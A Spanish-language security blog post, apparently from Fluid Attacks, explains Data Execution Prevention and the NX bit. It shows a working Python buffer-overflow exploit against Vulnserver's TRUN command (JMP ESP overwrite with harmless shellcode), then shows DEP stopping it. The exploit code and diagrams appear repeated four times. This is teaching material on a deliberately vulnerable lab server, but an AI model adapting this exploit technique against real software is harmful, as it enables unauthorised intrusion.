Tabla de contenidos

Title
Tabla de contenidos
Tabla de contenidos
Title

Ataques

Comprender la Prevención de Ejecución de Datos (DEP): protejamos la pila

cover-understanding-dep
Andres Roldan

VP of Hacking

5 min

En entradas anteriores de nuestro blog, hemos publicado varios artículos sobre el desarrollo de exploits para Windows; la mayoría de ellos se centraban en atacar Vulnserver, un servidor diseñado específicamente para ser vulnerable —tal como su nombre sugiere— con el fin de facilitar este tipo de ejercicios. También redactamos un par de artículos en los que creamos exploits para QuickZIP y MiTec Net Scanner. Todos estos exploits se basaban en la posibilidad de ejecutar instrucciones escritas en la pila (stack) del proceso.

Sin embargo, los procesadores modernos cuentan con un mecanismo que permite al sistema operativo evitar esto.

En este artículo, presentaremos dicha medida de protección y, en futuras publicaciones, analizaremos una técnica para eludirla, conocida como ROP (Return-Oriented Programming).

Bit «No-Execute» (No ejecución)

La protección presente en las CPU se conoce como bit NX («No-Execute» o «No ejecución»). El sistema operativo utiliza esta capacidad para marcar ciertas áreas de la memoria —en particular, la pila (stack)— como no ejecutables, evitando así ataques comunes basados ​​en el desbordamiento de búfer (buffer overflow), como los que hemos empleado hasta ahora. Aclaremos esto.

En la arquitectura x86, cuando se invoca una función, se crea un marco de función (function frame) en la pila. A continuación, se muestra una distribución típica de un marco de función en la memoria:

Marco de función típico en la pila.

.____________._____________._____________._____________._________________.
   vuln_var     Saved EBP     Saved EIP     Func args     Rest of stack
.____________._____________._____________._____________._________________.
   vuln_var     Saved EBP     Saved EIP     Func args     Rest of stack
.____________._____________._____________._____________._________________.
   vuln_var     Saved EBP     Saved EIP     Func args     Rest of stack
.____________._____________._____________._____________._________________.
   vuln_var     Saved EBP     Saved EIP     Func args     Rest of stack

En un desbordamiento de búfer sencillo, al escribir más allá del tamaño de vuln_var, es posible sobrescribir cualquier elemento situado más abajo en la pila, incluidos el Saved EBP y el Saved EIP. Cuando la función vulnerable finaliza, recupera el valor de Saved EIP de la pila y lo utiliza como puntero a la siguiente instrucción. Por este motivo, solemos sobrescribir el Saved EIP con un puntero a una instrucción JMP ESP, lo que nos permite redirigir la ejecución de nuevo hacia la pila, concretamente al lugar donde hemos colocado el shellcode.

Ejemplo de vuln_var desbordada.

 AAAAAAAAAAAA AAAAAAAAAAAAA <pointer to JMP ESP>    Shellcode
.____________._____________.____________________._______________.
   vuln_var     Saved EBP         Saved EIP       Rest of stack
 AAAAAAAAAAAA AAAAAAAAAAAAA <pointer to JMP ESP>    Shellcode
.____________._____________.____________________._______________.
   vuln_var     Saved EBP         Saved EIP       Rest of stack
 AAAAAAAAAAAA AAAAAAAAAAAAA <pointer to JMP ESP>    Shellcode
.____________._____________.____________________._______________.
   vuln_var     Saved EBP         Saved EIP       Rest of stack
 AAAAAAAAAAAA AAAAAAAAAAAAA <pointer to JMP ESP>    Shellcode
.____________._____________.____________________._______________.
   vuln_var     Saved EBP         Saved EIP       Rest of stack

Por ejemplo, echemos un vistazo a este exploit:

#!/usr/bin/env python3
#
## Simple DEP check

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 625011AF   .  FFE4                  JMP ESP
    struct.pack('<L', 0x625011AF) +
    b'\x31\xc0' +       # xor eax,eax
    b'\x04\x08' +       # add al,0x8
    b'\x90' +           # nop
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Simple DEP check

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 625011AF   .  FFE4                  JMP ESP
    struct.pack('<L', 0x625011AF) +
    b'\x31\xc0' +       # xor eax,eax
    b'\x04\x08' +       # add al,0x8
    b'\x90' +           # nop
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Simple DEP check

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 625011AF   .  FFE4                  JMP ESP
    struct.pack('<L', 0x625011AF) +
    b'\x31\xc0' +       # xor eax,eax
    b'\x04\x08' +       # add al,0x8
    b'\x90' +           # nop
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Simple DEP check

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 625011AF   .  FFE4                  JMP ESP
    struct.pack('<L', 0x625011AF) +
    b'\x31\xc0' +       # xor eax,eax
    b'\x04\x08' +       # add al,0x8
    b'\x90' +           # nop
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Se trata de un exploit sencillo que aprovecha una vulnerabilidad de desbordamiento de búfer (buffer overflow) en el comando TRUN de Vulnserver. Aquí puedes consultar el análisis completo sobre cómo detectar dicha vulnerabilidad mediante fuzzing y, aquí, mediante ingeniería inversa.

Esta versión del exploit provoca un desbordamiento en la variable vulnerable de la siguiente manera:

Ejemplo de vuln_var desbordada.

 AAAAAAAAAAAA AAAAAAAAAAAAA \xaf\x11\x50\x62  \x31\xc0\x04\x08\x90 CCCCCCCCCCC
.____________._____________._________________.____________________.___________.
   vuln_var     Saved EBP       Saved EIP          Shellcode       Fill buffer
 AAAAAAAAAAAA AAAAAAAAAAAAA \xaf\x11\x50\x62  \x31\xc0\x04\x08\x90 CCCCCCCCCCC
.____________._____________._________________.____________________.___________.
   vuln_var     Saved EBP       Saved EIP          Shellcode       Fill buffer
 AAAAAAAAAAAA AAAAAAAAAAAAA \xaf\x11\x50\x62  \x31\xc0\x04\x08\x90 CCCCCCCCCCC
.____________._____________._________________.____________________.___________.
   vuln_var     Saved EBP       Saved EIP          Shellcode       Fill buffer
 AAAAAAAAAAAA AAAAAAAAAAAAA \xaf\x11\x50\x62  \x31\xc0\x04\x08\x90 CCCCCCCCCCC
.____________._____________._________________.____________________.___________.
   vuln_var     Saved EBP       Saved EIP          Shellcode       Fill buffer

Donde:

  • Se añaden 2.006 caracteres «A» para provocar el desbordamiento.

  • 0x625011AF es un puntero a una instrucción JMP ESP que se colocará en el Saved EIP (EIP guardado).

  • Cuando la función vulnerable retorna, ejecutará la instrucción a la que apunta el Saved EIP, la cual corresponde a la instrucción JMP ESP.

  • De este modo, el flujo de ejecución se redirige a la pila (stack), donde se ha colocado el shellcode.

  • En este caso, el shellcode ejecutará tres instrucciones arbitrarias:

  • xor eax, eax → Establece el registro EAX a cero.

  • add al, 0x8 → Hace que EAX = 0x00000008.

  • nop → No realiza ninguna operación.

Veámoslo en acción:


Execution flow

Como puede observarse, logramos ejecutar las instrucciones de nuestro shellcode —ubicado en la pila (stack)—, tal como se esperaba.

Habilitación de DEP

En las versiones modernas de Windows, es posible aprovechar el bit NX de la CPU mediante una funcionalidad denominada Data Execution Prevention (DEP, o Prevención de Ejecución de Datos). Una aplicación puede compilarse con el indicador /NXCOMPAT para habilitar DEP en ella. Asimismo, es posible utilizar editbin.exe /NXCOMPAT sobre un archivo ejecutable (.exe) para activar esta protección en un archivo que ya ha sido compilado.

Mediante un depurador (debugger), podemos verificar si un ejecutable tiene dicho indicador habilitado:

NXCompat

También puedes habilitar la DEP a nivel de todo el sistema, lo que la aplicará a todas las aplicaciones, incluidas aquellas que fueron compiladas sin /NXCOMPAT. Para ello, puedes seguir estas instrucciones:

  • Presiona la tecla Windows y busca «Ver configuración avanzada del sistema».

  • En la ventana que aparece, haz clic en la pestaña «Opciones avanzadas»:


System Properties, Advanced tab
  • Luego, en Rendimiento, haz clic en Configuración.

  • Ve a la pestaña Prevención de ejecución de datos:


Data Execution Prevention
  • La configuración predeterminada es «Activar DEP para los programas esenciales de Windows...», pero para activarlo en todas las aplicaciones, debe seleccionar «Activar DEP para todos los programas...».

  • Aplique los cambios y reinicie el equipo.

ADVERTENCIA: Si modifica este valor y tiene BitLocker habilitado, el sistema le solicitará la clave de recuperación de BitLocker tras el reinicio. Si no dispone de dicha información, no modifique el valor de DEP; de lo contrario, el sistema quedará inutilizable.

Una vez realizado esto, podemos volver a probar nuestro exploit para comprobar si DEP impide realmente la ejecución de las instrucciones de nuestro shellcode.

NOTA: Nos referiremos a la DEP basada en hardware, la cual utiliza el bit NX de la CPU para marcar regiones de memoria como no ejecutables. La DEP basada en software solo evita los desbordamientos (overflows) basados ​​en SEH, lo cual queda fuera del alcance de este artículo. Puede obtener más información sobre los exploits basados ​​en SEH aquí.

Ejecución de shellcode con DEP habilitado

Ahora, tras haber habilitado DEP en todo el sistema, procedamos a ejecutar nuestro exploit de nuevo:

Exploit executed again

Han ocurrido varias cosas:

  • Se produce el desbordamiento.

  • El valor guardado del EIP se sobrescribe correctamente con el puntero a JMP ESP.

  • Se ejecuta la instrucción JMP ESP y el flujo de ejecución se redirige a la pila, donde se encuentra nuestro shellcode.

  • Sin embargo, al intentar ejecutar la primera instrucción del shellcode (xor eax, eax), se dispara una excepción de «violación de acceso»; esto significa que se intentó ejecutar código en una región de memoria marcada como no ejecutable. DEP ha funcionado.

Cómo eludir DEP

Aunque no podemos ejecutar instrucciones situadas en la pila (stack), sí controlamos el flujo de ejecución de la aplicación. Dado que la pila es un espacio donde la aplicación —y, por tanto, el exploit— puede leer y escribir datos, el control tanto del flujo de ejecución como de la pila nos permite realizar operaciones muy potentes.

En el ejemplo anterior, no podíamos ejecutar las instrucciones contenidas en el shellcode, pero sí logramos ejecutar una instrucción específica: JMP ESP. Para ello, colocamos el puntero a dicha instrucción en la ubicación adecuada.

Podemos aprovechar esto para ejecutar código arbitrario sin necesidad de ejecutar ni una sola instrucción directamente en la pila. Aquí es donde entra en juego la técnica conocida como Return-Oriented Programming (ROP).

Conclusiones

Este artículo presenta un mecanismo diseñado para evitar la explotación de vulnerabilidades de desbordamiento de búfer (buffer overflow). DEP logra, efectivamente, neutralizar los exploits convencionales. No obstante, en el próximo artículo veremos cómo eludir DEP mediante Return-Oriented Programming y, posteriormente, cómo crear un exploit funcional capaz de establecer una reverse TCP shell en una aplicación protegida por DEP.

En Fluid Attacks, ponemos a prueba las medidas de seguridad para identificar vulnerabilidades. Llevamos a cabo esta labor tanto en el ámbito de la investigación como mediante operaciones de red teaming para empresas de desarrollo de software. Actualmente, ofrecemos una prueba gratuita de 21 días de nuestro servicio de escaneo de vulnerabilidades. En cualquier momento, puedes ampliar el servicio para incluir pruebas de seguridad manuales, como pruebas de penetración (pentesting), realizadas por nuestros expertos.

Empieza ya con el PTaaS de Fluid Attacks

Etiquetas:

formacion

exploit

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Reduce el riesgo sin retrasar tus entregas

Reduce el riesgo sin retrasar tus entregas

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.